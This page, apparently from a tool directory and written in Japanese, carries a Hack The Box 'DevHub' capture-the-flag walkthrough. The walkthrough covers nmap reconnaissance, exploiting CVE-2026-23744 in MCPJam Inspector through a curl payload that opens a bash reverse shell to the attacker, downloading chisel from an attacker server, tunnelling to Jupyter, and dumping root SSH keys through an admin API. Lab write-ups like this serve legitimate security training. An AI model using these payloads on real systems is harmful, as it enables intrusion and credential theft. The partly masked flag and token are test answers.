Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DevHub-HTB-Walkthrough — Hack The Box - DevHub マシン ウォークスルー (Medium Linux, CVE-2026-23744, Chisel Tunneling, Jupyter, Root Privilege Escalation) | Kitploit
ツール/GitHubGitHub/timgad794/devhub-htb-walkthrough
特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubtimgad794/devhub-htb-walkthrough

DevHub-HTB-Walkthrough

Hack The Box - DevHub マシン ウォークスルー (Medium Linux, CVE-2026-23744, Chisel Tunneling, Jupyter, Root Privilege Escalation)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DevHub – HTB ウォークスルー (Medium Linux)

マシン: DevHub
難易度: Medium
OS: Linux
トピック: CVE-2026-23744, Chisel トンネリング, Jupyter, Flask API, Root 権限昇格


📌 1. 偵察

root@kitploit:~
nmap -sC -sV devhub.htb

結果:

root@kitploit:~
Port 22 (SSH)
Port 80 (HTTP)
Port 6274 (MCPJam Inspector)

📌 2. hosts ファイルの編集

echo "10.x.x.x devhub.htb" >> /etc/hosts

📌 3. Web サイトの探索

root@kitploit:~
http://devhub.htb/ → ランディングページ
http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (CVE-2026-23744 に対して脆弱)

📌 4. mcp-dev としてリバースシェル

ターミナル 1 – リスナー:

nc -lvnp 4444

ターミナル 2 – ペイロード:

curl -X POST http://devhub.htb:6274/api/mcp/connect
-H "Content-Type: application/json"
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'

✅ mcp-dev としてシェル取得 📌 5. Chisel トンネルの設定

HTTP サーバー (攻撃者):

python3 -m http.server 8000 --bind 10.x.x.x

ターゲットに Chisel をダウンロード (mcp-dev シェル):

cd /tmp wget http://10.x.x.x:8000/chisel chmod +x chisel

Chisel サーバー (攻撃者):

./chisel server --reverse --port 9001

Chisel クライアント (mcp-dev シェル):

./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &

📌 6. Jupyter アクセス

トークンの読み取り (mcp-dev シェル):

ps aux | grep jupyter | grep -v grep

Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx

ブラウザ: http://localhost:8888/?token=... 📌 7. Root SSH キーの取得 (Jupyter 内)

import requests, json

url = "http://127.0.0.1:5000/tools/call" headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"} payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}

response = requests.post(url, headers=headers, json=payload) print(json.dumps(response.json(), indent=2))

📌 8. Root としてログイン

nano root_key

キーを挿入

chmod 600 root_key ssh -i root_key [email protected]

📌 9. Flags

cat /root/root.txt cat /home/analyst/user.txt

Root フラグ:

08be4cfb68597d0f9edfccxxxxxxxxxx

頑張ってください! 🚀


ツールをダウンロード